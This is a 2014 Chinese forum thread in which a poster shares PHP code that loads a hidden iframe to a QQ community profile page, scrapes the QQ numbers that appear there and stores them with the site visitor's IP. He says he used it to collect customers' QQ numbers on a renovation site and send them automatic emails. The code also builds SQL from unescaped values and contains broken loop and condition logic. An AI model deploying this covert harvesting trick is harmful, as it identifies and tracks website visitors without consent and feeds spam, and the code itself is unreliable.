天中人才市场 发表于 2014-2-24 17:19:25

大家很关注的QQ客户端获取函数公开

本帖最后由 天中人才市场 于 2014-2-24 17:20 编辑

function qqcode()
{
    global $cfg, $db;
    echo "<iframe style=\"display:none;\" src=\"http://meishi.qq.com/profiles/2728182574\"></iframe>";

    $url = "http://meishi.qq.com/profiles/2728182574";

    if (!($contents = file_get_contents($url))) {
      exit;
    }
    $ip = getip();
    $pattern_qq = '/<img.*qzone\/(|\')(.+)\/\1.*>/U';
    //<li><a href="/profiles/1532677"><img src="http://qlogo2.store.qq.com/qzone/1532677/1532677/50" alt="飞鱼">飞鱼</a></li>

    if (preg_match_all($pattern_qq, $contents, $quote)) {
      foreach ($quote as $qq)
            if ($qq !== '2728182574' && '1532677' && '2147483647') {
                $qqhao = $db->get_one("select qq_hao from {$cfg['tb_pre']}qq where qq_hao=$qq LIMIT 0 , 1");
                if (!$qqhao) {
                  $db->query("INSERT INTO {$cfg['tb_pre']}qq (`qq_id`,`qq_hao`, `qq_adddate`,`qq_ip`) VALUES (NULL,'{$qq}',NOW(),'$ip')");
                }
               
            }
    }

}



实际很简单的原理。http://meishi.qq.com/profiles/2728182574 是美食QQ列表。实际QQ空间也可以。大家可以常识一下。


只供学习。后果自负哈哈。实际没什么后果。后来我研究出来以后。腾讯貌似注意了。加了防刷新。如果IP大的情况会 提示不纯在返回首页状态。后来除了新版的也就是Q空间获取。


这个其实后来发现觉得用处不大。用在了装修网的上面。获取了客户的QQ。自动发送邮件之类的。



下面是数据库表结构
CREATE TABLE `job_qq` (
`qq_id` int(10) unsigned NOT NULL auto_increment,
`qq_hao` int(12) NOT NULL default '11',
`qq_adddate` datetime NOT NULL default '0000-00-00 00:00:00',
`qq_ip` varchar(120) NOT NULL,
PRIMARY KEY(`qq_id`)
) ENGINE=MyISAM AUTO_INCREMENT=15116 DEFAULT CHARSET=gb2312




liuyan 发表于 2014-2-26 14:43:01

学习了!

dovezhuang 发表于 2015-1-15 11:40:00

非常不错:lol
页: [1]
查看完整版本: 大家很关注的QQ客户端获取函数公开